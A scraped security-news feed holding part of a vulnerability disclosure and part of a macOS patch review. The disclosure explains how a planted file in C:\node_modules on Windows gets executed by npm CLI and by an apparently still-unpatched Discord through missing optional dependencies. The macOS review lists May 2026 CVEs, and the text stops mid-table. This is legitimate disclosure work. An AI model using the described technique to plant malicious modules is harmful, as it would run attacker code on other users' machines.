<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
          </figcaption>
        
      
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<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
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          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png" data-image-dimensions="1662x798" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w" width="1662" height="798" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png" data-image-dimensions="1074x528" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w" width="1074" height="528" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>


  














  
    
      
    
    
      
        
          
          
        
      
      
      



    
  








  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Apple macOS Security Update Review]]></title>
<description><![CDATA[We’ve received some feedback from those who read the Patch Blog that they would like something similar for macOS updates. Unfortunately, Apple doesn’t schedule these for a particular day, but we can provide our thoughts and analysis on the days they do release their latest patches. For May 2026, ...]]></description>
<link>https://tsecurity.de/de/3694569/hacking/the-apple-macos-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694569/hacking/the-apple-macos-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">We’ve received some feedback from those who read the Patch Blog that they would like something similar for macOS updates. Unfortunately, Apple doesn’t schedule these for a particular day, but we can provide our thoughts and analysis on the days they do release their latest patches. </p><p class="">For May 2026, Apple released 82 unique CVEs across the three macOS versions: 79 for macOS Tahoe 26.5, 45 for macOS Sequoia 15.7.7, and 42 for macOS Sonoma 14.8.7. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. However, there are a couple that stand out.</p><p class="">-              <strong>CVE-2026-28819 (Wi-Fi)</strong> stands out as the strongest candidate for the most severe as it states, “An app may be able to execute arbitrary code with kernel privileges.” The combination of arbitrary code execution at the kernel level is about as bad as it gets on a severity scale. Plus, it affects all three macOS versions (Tahoe, Sequoia, and Sonoma).</p><p class="">-              <strong>CVE-2026-43668 (mDNSResponder)</strong> also piques my interest since, “A remote attacker may be able to cause unexpected system termination or corrupt kernel memory.” The remote attack vector with kernel memory corruption on all three OS versions makes this a serious one, especially since mDNSResponder is always running.</p><p class="">-              <strong>CVE-2026-28972 (Kernel)</strong> This one states that “An app may be able to cause unexpected system termination or write kernel memory.” An out-of-bounds write directly into kernel memory on all three OS versions. This one may also have implications in the upcoming Pwn2Own Berlin contest.</p><p class="">Here’s a look at all the bugs released by Apple this month:</p>





















  
  




  


  
    


  82Unique CVEs
  <a href="https://support.apple.com/en-us/127115" target="_blank">79macOS Tahoe 26.5</a>
  <a href="https://support.apple.com/en-us/127116" target="_blank">45macOS Sequoia 15.7.7</a>
  <a href="https://support.apple.com/en-us/127117" target="_blank">42macOS Sonoma 14.8.7</a>



<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>CVE ID</th>
    <th>Component</th>
    <th>Impact</th>
    <th>macOS Tahoe 26.5</th>
    <th>macOS Sequoia 15.7.7</th>
    <th>macOS Sonoma 14.8.7</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28991" target="_blank">CVE-2026-28991</a></td>
    <td>Accelerate</td>
    <td>An app may be able to cause a denial-of-service</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28988" target="_blank">CVE-2026-28988</a></td>
    <td>Accounts</td>
    <td>An app may be able to bypass certain Privacy preferences</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28959" target="_blank">CVE-2026-28959</a></td>
    <td>APFS</td>
    <td>An app may be able to cause unexpected system termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28995" target="_blank">CVE-2026-28995</a></td>
    <td>App Intents</td>
    <td>A malicious app may be able to break out of its sandbox</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-1837" target="_blank">CVE-2026-1837</a></td>
    <td>AppleJPEG</td>
    <td>Processing a maliciously crafted image may lead to a denial-of-service</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28956" target="_blank">CVE-2026-28956</a></td>
    <td>AppleJPEG</td>
    <td>Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-39869" target="_blank">CVE-2026-39869</a></td>
    <td>Audio</td>
    <td>Processing an audio stream in a maliciously crafted media file may terminate the process</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28922" target="_blank">CVE-2026-28922</a></td>
    <td>CoreMedia</td>
    <td>An app may be able to access private information</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28936" target="_blank">CVE-2026-28936</a></td>
    <td>CoreServices</td>
    <td>Processing a maliciously crafted file may lead to unexpected app termination</td>
    <td>Yes</td>
    <td>No</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><img title="Reported through Zero Day Initiative" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyMTAgMTY3Ij4KICA8IS0tIEhvcm5zIC0tPgogIDxwYXRoIGQ9Ik04NSA0IFE3NCA2IDcyIDE4IEw4MCAyMCBRNzkgMTIgODcgOFoiIGZpbGw9IiMxQjJBNEEiLz4KICA8cGF0aCBkPSJNMTI1IDQgUTEzNiA2IDEzOCAxOCBMMTMwIDIwIFExMzEgMTIgMTIzIDhaIiBmaWxsPSIjMUIyQTRBIi8+CiAgPCEtLSBIZWFkIC0tPgogIDxlbGxpcHNlIGN4PSIxMDUiIGN5PSIyMiIgcng9IjE4IiByeT0iMTIiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIExlZnQgdXBwZXIgYXJtIC0tPgogIDxwYXRoIGQ9Ik03MiAzMCBMNTggNDQgTDYzIDQ4IEw3OCAzNVoiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIFJpZ2h0IHVwcGVyIGFybSAtLT4KICA8cGF0aCBkPSJNMTM4IDMwIEwxNTIgNDQgTDE0NyA0OCBMMTMyIDM1WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gWWVsbG93IGJvd3RpZSBsZWZ0IC0tPgogIDxwYXRoIGQ9Ik03NiAzOCBROTAgMzIgMTA1IDM4IFE5MCA0NCA3NiAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIFllbGxvdyBib3d0aWUgcmlnaHQgLS0+CiAgPHBhdGggZD0iTTEzNCAzOCBRMTIwIDMyIDEwNSAzOCBRMTIwIDQ0IDEzNCAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIEJsdWUgY2hlc3QgLS0+CiAgPGVsbGlwc2UgY3g9IjEwNSIgY3k9IjQ2IiByeD0iMTQiIHJ5PSIxMCIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSBsZWZ0IHdpbmcgLS0+CiAgPHBhdGggZD0iTTkxIDU0IFE2MCA1OCAxOCA3NSBRMTAgNjggMTQgNjIgUTUwIDUyIDkxIDU0WiIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSByaWdodCB3aW5nIC0tPgogIDxwYXRoIGQ9Ik0xMTkgNTQgUTE1MCA1OCAxOTIgNzUgUTIwMCA2OCAxOTYgNjIgUTE2MCA1MiAxMTkgNTRaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBHb2xkIGxlZnQgd2luZ3RpcCAtLT4KICA8cGF0aCBkPSJNMTQgNjIgUTQgNjIgMTAgNTQgUTE2IDU4IDE4IDc1WiIgZmlsbD0iI0Y1QjgwMCIvPgogIDwhLS0gR29sZCByaWdodCB3aW5ndGlwIC0tPgogIDxwYXRoIGQ9Ik0xOTYgNjIgUTIwNiA2MiAyMDAgNTQgUTE5NCA1OCAxOTIgNzVaIiBmaWxsPSIjRjVCODAwIi8+CiAgPCEtLSBMb3dlciBib2R5IGxlZnQgc3RydXQgLS0+CiAgPHBhdGggZD0iTTkwIDYyIEw3NiA4NiBMODQgOTAgTDk3IDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gTG93ZXIgYm9keSByaWdodCBzdHJ1dCAtLT4KICA8cGF0aCBkPSJNMTIwIDYyIEwxMzQgODYgTDEyNiA5MCBMMTEzIDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gQmx1ZSB0ZWFyZHJvcCBhYmRvbWVuIC0tPgogIDxwYXRoIGQ9Ik0xMDUgNjggUTExOCA4MiAxMDUgMTA4IFE5MiA4MiAxMDUgNjhaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBMZWZ0IGxvd2VyIGxlZyAtLT4KICA8cGF0aCBkPSJNODAgMTAwIEw2MCAxMTIgTDYyIDExOCBMODQgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gUmlnaHQgbG93ZXIgbGVnIC0tPgogIDxwYXRoIGQ9Ik0xMzAgMTAwIEwxNTAgMTEyIEwxNDggMTE4IEwxMjYgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgo8L3N2Zz4="><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28918" target="_blank">CVE-2026-28918</a></td>
    <td>CoreSymbolication</td>
    <td>Parsing a maliciously crafted file may lead to an unexpected app termination</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28878" target="_blank">CVE-2026-28878</a></td>
    <td>Crash Reporter</td>
    <td>An app may be able to enumerate a user's installed apps</td>
    <td>No</td>
    <td>Yes</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28915" target="_blank">CVE-2026-28915</a></td>
    <td>CUPS</td>
    <td>An app may be able to gain root privileges</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43659" target="_blank">CVE-2026-43659</a></td>
    <td>FileProvider</td>
    <td>An app may be able to access sensitive user data</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28923" target="_blank">CVE-2026-28923</a></td>
    <td>GPU Drivers</td>
    <td>A malicious app may be able to break out of its sandbox</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28925" target="_blank">CVE-2026-28925</a></td>
    <td>HFS</td>
    <td>An app may be able to cause unexpected system termination or write kernel memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-43524" target="_blank">CVE-2025-43524</a></td>
    <td>Icons</td>
    <td>An app may be able to break out of its sandbox</td>
    <td>No</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43661" target="_blank">CVE-2026-43661</a></td>
    <td>ImageIO</td>
    <td>Processing a maliciously crafted image may corrupt process memory</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28977" target="_blank">CVE-2026-28977</a></td>
    <td>ImageIO</td>
    <td>Processing a maliciously crafted file may lead to unexpected app termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28990" target="_blank">CVE-2026-28990</a></td>
    <td>ImageIO</td>
    <td>Processing a maliciously crafted image may corrupt process memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28978" target="_blank">CVE-2026-28978</a></td>
    <td>Installer</td>
    <td>A malicious app may be able to break out of its sandbox</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28992" target="_blank">CVE-2026-28992</a></td>
    <td>IOHIDFamily</td>
    <td>An attacker may be able to cause unexpected app termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28943" target="_blank">CVE-2026-28943</a></td>
    <td>IOHIDFamily</td>
    <td>An app may be able to determine kernel memory layout</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28969" target="_blank">CVE-2026-28969</a></td>
    <td>IOKit</td>
    <td>An app may be able to cause unexpected system termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43655" target="_blank">CVE-2026-43655</a></td>
    <td>IOSurfaceAccelerator</td>
    <td>An app may be able to cause unexpected system termination or read kernel memory</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43654" target="_blank">CVE-2026-43654</a></td>
    <td>Kernel</td>
    <td>An app may be able to disclose kernel memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28908" target="_blank">CVE-2026-28908</a></td>
    <td>Kernel</td>
    <td>An app may be able to modify protected parts of the file system</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28954" target="_blank">CVE-2026-28954</a></td>
    <td>Kernel</td>
    <td>A maliciously crafted disk image may bypass Gatekeeper checks</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28897" target="_blank">CVE-2026-28897</a></td>
    <td>Kernel</td>
    <td>A local user may be able to cause unexpected system termination or read kernel memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28952" target="_blank">CVE-2026-28952</a></td>
    <td>Kernel</td>
    <td>An app may be able to cause unexpected system termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28951" target="_blank">CVE-2026-28951</a></td>
    <td>Kernel</td>
    <td>An app may be able to gain root privileges</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28972" target="_blank">CVE-2026-28972</a></td>
    <td>Kernel</td>
    <td>An app may be able to cause unexpected system termination or write kernel memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28986" target="_blank">CVE-2026-28986</a></td>
    <td>Kernel</td>
    <td>An app may be able to cause unexpected system termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28987" target="_blank">CVE-2026-28987</a></td>
    <td>Kernel</td>
    <td>An app may be able to leak sensitive kernel state</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28983" target="_blank">CVE-2026-28983</a></td>
    <td>LaunchServices</td>
    <td>A remote attacker may be able to cause a denial of service</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28929" target="_blank">CVE-2026-28929</a></td>
    <td>Mail Drafts</td>
    <td>Replying to an email could display remote images in Mail in Lockdown Mode</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43653" target="_blank">CVE-2026-43653</a></td>
    <td>mDNSResponder</td>
    <td>An attacker on the local network may be able to cause a denial-of-service</td>
    <td>Yes</td>
    <td>No</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28985" target="_blank">CVE-2026-28985</a></td>
    <td>mDNSResponder</td>
    <td>An attacker on the local network may be able to cause a denial-of-service</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43668" target="_blank">CVE-2026-43668</a></td>
    <td>mDNSResponder</td>
    <td>A remote attacker may be able to cause unexpected system termination or corrupt kernel memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43666" target="_blank">CVE-2026-43666</a></td>
    <td>mDNSResponder</td>
    <td>An attacker on the local network may be able to cause a denial-of-service</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
